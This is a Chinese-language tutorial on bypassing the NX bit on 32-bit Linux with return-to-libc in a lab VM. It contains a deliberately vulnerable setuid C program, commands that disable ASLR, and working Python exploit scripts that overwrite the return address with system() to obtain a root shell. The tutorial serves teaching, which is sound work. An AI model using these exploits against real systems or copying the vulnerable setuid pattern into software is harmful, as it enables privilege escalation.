Linux x86 漏洞利用-使用return-to-libc绕过NX位

鲁鸿

2023-12-01

使用return-to-libc绕过NX位

先决条件：

基于经典堆栈的缓冲区溢出

VM设置：Ubuntu 12.04（x86）

在以前的帖子中，我们看到了攻击者

将shellcode复制到堆栈并跳转到它！

为了成功利用易受攻击的代码。因此，为了阻止攻击者的行动，安全研究人员想出了一个名为“NX Bit”的漏洞利用缓解措施！

什么是NX Bit？

它是一种漏洞利用缓解技术，它使某些内存区域不可执行，并形成一个不可写的可执行区域。示例：数据，堆栈和堆段不可执行，而文本段不可写。
启用NX位后，我们基于堆栈的缓冲区溢出的经典方法将无法利用此漏洞。因为在经典方法中，shellcode被复制到堆栈中，并且返回地址指向shellcode。但是现在由于堆栈不再可执行，我们的漏洞利用失败了!! 但这种缓解技术并非完全万无一失，因此在这篇文章中我们可以看看如何绕过NX Bit !!

易受攻击的代码：

//vuln.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
 char buf[256]; /* [1] */ 
 strcpy(buf,argv[1]); /* [2] */
 printf("%s\n",buf); /* [3] */
 fflush(stdout);  /* [4] */
 return 0;
}

编译命令：

#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln

注意：“-z execstack”参数未传递给gcc，因此现在堆栈是非可执行文件，可以如下所示进行验证：

$ readelf -l vuln
...
Program Headers:
 Type      Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
 PHDR      0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
 INTERP    0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
 [Requesting program interpreter: /lib/ld-linux.so.2]
 LOAD      0x000000 0x08048000 0x08048000 0x00678 0x00678 R E 0x1000
 LOAD      0x000f14 0x08049f14 0x08049f14 0x00108 0x00118 RW 0x1000
 DYNAMIC   0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW 0x4
 NOTE      0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
 ...
 GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
 GNU_RELRO 0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R 0x1
$

堆栈段仅包含RW标志，没有E标志!!

如何绕过NX位并实现任意代码执行？

可以使用称为“return-to-libc”的攻击技术绕过NX位。这里返回地址被特定的libc函数地址覆盖（而不是包含shellcode的堆栈地址）。例如，如果攻击者想要生成一个shell，他会用system（）地址覆盖返回地址，并在堆栈中设置system（）所需的适当参数，以便成功调用它。
已经反编译并绘制了易受攻击代码的堆栈布局，让我们编写漏洞利用代码来绕过NX位!!

漏洞利用代码：

#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

#Since ALSR is disabled, libc base address would remain constant and hence we can easily find the function address we want by adding the offset to it. 
#For example system address = libc base address + system offset
#where 
       #libc base address = 0xb7e22000 (Constant address, it can also be obtained from cat /proc//maps)
       #system offset     = 0x0003f060 (obtained from "readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system")

system = 0xb7e61060        #0xb7e2000+0x0003f060
exit = 0xb7e54be0          #0xb7e2000+0x00032be0

#system_arg points to 'sh' substring of 'fflush' string. 
#To spawn a shell, system argument should be 'sh' and hence this is the reason for adding line [4] in vuln.c. 
#But incase there is no 'sh' in vulnerable binary, we can take the other approach of pushing 'sh' string at the end of user input!!
system_arg = 0x804827d     #(obtained from hexdump output of the binary)

#endianess conversion
def conv(num):
 return struct.pack("<I",num)

# Junk + system + exit + system_arg
buf = "A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)

print "Calling vulnerable program"
call(["./vuln", buf])

执行上面的exploit程序给我们root shell，如下所示：

$ python exp.py 
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`���K��}�
# id
uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
# exit
$

Bingo,我们得到了root shell!! 但是在实际应用程序中，由于root setuid程序会采用最小特权原则，因此不容易。

什么是最小特权原则？

此技术允许root setuid程序仅在需要时获取root权限。这是在需要时获得root权限，当不需要时，他们删除获得的root权限。root setuid程序遵循的正常方法是在从用户输入之前删除root权限。因此，即使用户输入是恶意的，攻击者也不会获得root shell。例如，下面的易受攻击的代码不允许攻击者获得root shell。

易受攻击的代码

//vuln_priv.c
#include <stdio.h>
#include <string.h>

int main(int argc, char* argv[]) {
 char buf[256];
 seteuid(getuid()); /* Temporarily drop privileges */ 
 strcpy(buf,argv[1]);
 printf("%s\n",buf);
 fflush(stdout);
 return 0;
};

当我们尝试使用下面的漏洞利用代码来利用它时，以上易受攻击的代码不会给出root shell。

#exp_priv.py
#!/usr/bin/env python
import struct
from subprocess import call

system = 0xb7e61060
exit = 0xb7e54be0

system_arg = 0x804829d

#endianess conversion
def conv(num):
 return struct.pack("<I",num)

# Junk + system + exit + system_arg
buf = "A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)

print "Calling vulnerable program"
call(["./vuln_priv", buf])

注意：exp_priv.py是exp.py的略微修改版本!! 只调整system_arg变量!!

$ python exp_priv.py 
Calling vulnerable program
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`���K川�
$ id
uid=1000(sploitfun) gid=1000(sploitfun) egid=0(root) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
$ rm /bin/ls
rm: remove write-protected regular file `/bin/ls'? y
rm: cannot remove `/bin/ls': Permission denied
$ exit
$

这是隧道的终点吗？如何利用应用最小权限原则的root setuid程序？

对于易受攻击的代码（vuln_priv），我们的exploit（exp_priv.py）是调用系统，然后是exit，这对于获取root shell是不够的。但是，如果我们的漏洞利用代码（exp_priv.py）被修改为调用以下libc函数（按列出的顺序）

seteuid(0)
system(“sh”)
exit()

我们会得到root shell。这种技术被称为返回libc的链接，在此讨论!!

Linux x86 漏洞利用-使用return-to-libc绕过NX位

使用return-to-libc绕过NX位

先决条件：

VM设置：Ubuntu 12.04（x86）

易受攻击的代码：

编译命令：

漏洞利用代码：

易受攻击的代码

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